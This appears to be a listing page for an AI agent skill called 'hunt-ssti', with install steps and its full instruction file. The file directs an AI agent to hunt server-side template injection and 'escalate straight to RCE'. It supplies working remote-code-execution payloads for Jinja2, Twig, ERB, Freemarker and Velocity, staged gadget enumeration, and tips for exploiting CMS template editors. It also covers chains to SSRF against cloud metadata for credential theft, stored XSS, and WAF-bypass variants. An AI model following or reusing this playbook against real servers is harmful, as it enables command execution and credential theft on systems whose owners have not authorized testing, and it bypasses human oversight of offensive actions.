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Hunt Ssti

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elementalsouls
hunt-ssti

Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is fingerprinted, escalate to RCE via the engine-specific class-walker, callback-registrar, or Execute-utility patterns documented in disclosed reports. Detection patterns: error messages reveal engine, blank or numeric eval reveals expression mode. Targets: email templates, PDF/report generators, CMS preview features, error pages with user input. Use when hunting RCE via template rendering, when content shows engine fingerprints, when finding endpoints that compose strings with user input before render.

Overview

Publisherelementalsouls
RepositoryClaude-BugHunter
Skill namehunt-ssti
Stars
5K
Forks
758
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by elementalsouls on GitHub. Read the source before you install it.

Installation

Install the Hunt Ssti AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-ssti
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p .claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-ssti .claude/skills/hunt-ssti
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Hunt Ssti in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Hunt Ssti on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Hunt Ssti is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Autonomous Testing Priority

Escalate straight to RCE — don't stop at arithmetic detection.

Arithmetic probes ({{7*7}}→49) confirm the injection point but are not proof of impact. The real goal is OS command execution. Arithmetic detection also fails silently when the app echoes the input back (e.g. inside an HTML attribute like <input value="{{7*7}}">), producing a false negative even when injection exists.

Order of attack:

  1. Try Jinja2 RCE first (covers Python/Flask — the most common stack in modern web apps):
    {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
  2. If the endpoint is a traditional web form, send as form-encoded body — NOT JSON:
    Content-Type: application/x-www-form-urlencoded
    field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
    JSON bodies are silently ignored by form-processing endpoints (request.form['field'] sees nothing).
  3. If Jinja2 fails, try Twig (PHP/Symfony): {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
  4. Fall back to arithmetic detection only to fingerprint the engine when RCE payloads fail.

Proof: Command output (uid=N(user) gid=...) in the response confirms RCE. If the output appears in HTML (inside a <div> or <pre>), that still counts — the format is irrelevant, the content is the evidence.


14. SSTI — SERVER-SIDE TEMPLATE INJECTION

Easy to detect, high payout ($2K–$8K). Direct path to RCE.

Detection Payloads (try all)

{{7*7}}          → 49 = Jinja2 / Twig
${7*7}           → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %>       → 49 = ERB (Ruby)
*{7*7}           → 49 = Spring Thymeleaf
{{7*'7'}}        → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.

RCE Payloads

Jinja2 (Python/Flask):

python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Twig (PHP/Symfony):

php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

ERB (Ruby):

ruby
<%= `id` %>

Length-constrained injection fields (profile name, display name, subject)

When the injectable field caps input length (a profile-name / display-name field is often ≤30-64 chars), the full os.popen one-liner won't fit — but detection and class-enumeration still do. Confirm with the short probe, then enumerate the gadget index in stages instead of one payload:

python
{{ '7'*7 }}                                  # detection, fits anywhere
{{ [].__class__.__base__.__subclasses__() }} # dump class list, pick the index for subprocess.Popen/os
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate() }}

The reflected sink is frequently an outbound email (the account-update / confirmation mail rendering your name), not the web page — read the email body for the evaluated output. Disclosed: reports/125980 (profile-name → Jinja2 → confirmation email, length-limited).

Where to Test

Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected

CMS / "documentation" template-editor forms (authenticated)

Some SSTI lives behind a logged-in template editor (CMS "edit template" / product-template / email-template preview). PortSwigger's "SSTI using documentation" class is this shape. Three things break a naive attempt:

  1. Fingerprint BEFORE firing RCE — the engine decides the syntax. Do NOT assume Jinja2. Probe the whole matrix and read which one evaluates:

    ${7*7}  → 49  AND  #{7*7} → 49   ⇒ Freemarker (Java)   ← {{7*7}} does NOTHING here
    {{7*7}} → 49                      ⇒ Jinja2 / Twig
    <%= 7*7 %> → 49                   ⇒ ERB (Ruby)
    *{7*7}  → 49                      ⇒ Thymeleaf (Spring)

    If {{7*7}} renders literally but ${7*7}→49, you are on Freemarker — stop sending {{config...}}.

  2. The record id is usually a QUERY param, not a body field. The editor form posts back to POST /…/template?productId=N with the id in the URL. The BODY carries only csrf, template, and a template-action (preview | save). Putting the id in the body returns 400 "Missing product id". So keep the id in the query string (?productId=N) AND send a form-encoded body of csrf=…&template=<PAYLOAD>&template-action=preview.

  3. Re-fetch the CSRF each time and use preview to iterate. GET the editor page to read a fresh csrf hidden field; template-action=preview renders your payload WITHOUT persisting (fast feedback loop). Switch to template-action=save only once the payload is right, then trigger the render (load the public page that uses the template) to fire the command.

    Freemarker documentation RCE (the documented Execute utility — this IS the intended technique):

    <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

    Velocity equivalent: #set($e="e");$e.getClass().forName("java.lang.Runtime")....


Related Skills & Chains

  • hunt-rce — SSTI is the easiest path to RCE on Python/Ruby/PHP/Java stacks because the template language already exposes the runtime. Chain primitive: Jinja2 {{config.__class__.__init__.__globals__['os'].popen('id').read()}} or Freemarker <#assign x="freemarker.template.utility.Execute"?new()>${x("id")} → unauthenticated RCE as the rendering worker. Always escalate fingerprint → class-walker → cmd exec.
  • hunt-xss — When the template engine sandboxes the runtime (or you only get the rendered output back as HTML), the same {{7*7}} reflection often still yields stored XSS. Chain primitive: sandboxed Jinja2 SSTI without escapes → inject <script> into rendered email template → stored XSS hitting every recipient who views the message.
  • hunt-ssrf — Template engines often expose URL fetchers/filters before they expose the runtime, giving you SSRF before RCE. Chain primitive: Twig {{ include('http://169.254.169.254/latest/meta-data/iam/security-credentials/') }} or Jinja2 with url_for/custom filters → AWS metadata exfil → cloud creds.
  • hunt-file-upload — Office docs, SVGs, and email templates uploaded by the user are common SSTI surfaces (the server re-renders them). Chain primitive: upload a DOCX whose word/document.xml contains ${T(java.lang.Runtime).getRuntime().exec("id")} to a Velocity/Freemarker-driven mail-merge → RCE.
  • security-arsenal — Reach for the engine-specific escape payload tree: Jinja2 class-walker variants (__subclasses__()[N] index hunting), Twig _self.env registerUndefinedFilterCallback, Freemarker ?new() Execute, ERB backticks, Velocity $class.inspect, Smarty {php}...{/php}, plus the WAF-bypass variants ({{request|attr('application')|...}}, Unicode escapes, {%print(...)%}).
  • triage-validation — Apply the Pre-Severity Gate before claiming Critical RCE. A {{7*7}} → 49 reflection inside a sandboxed engine (e.g., Twig sandbox mode, Jinja2 SandboxedEnvironment with no escape) is Medium SSTI, not Critical RCE. Prove id/OOB DNS callback with a unique marker before writing the report.

Frequently asked questions

What does the Hunt Ssti AI skill do?

Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is fingerprinted, escalate to RCE via the engine-specific class-walker, callback-registrar, or Execute-utility patterns documented in disclosed reports. Detection patterns: error messages reveal engine, blank or numeric eval reveals expression mode. Targets: email templates, PDF/report generators, CMS preview features, error...

Why use Hunt Ssti on TypingMind?

Because you install it once and use it with any model. Hunt Ssti is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Hunt Ssti in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-ssti. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Hunt Ssti?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Hunt Ssti?

As many as you like. As long as a model supports skills, you can use Hunt Ssti with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Hunt Ssti AI skill free?

Yes. It is published on GitHub by elementalsouls under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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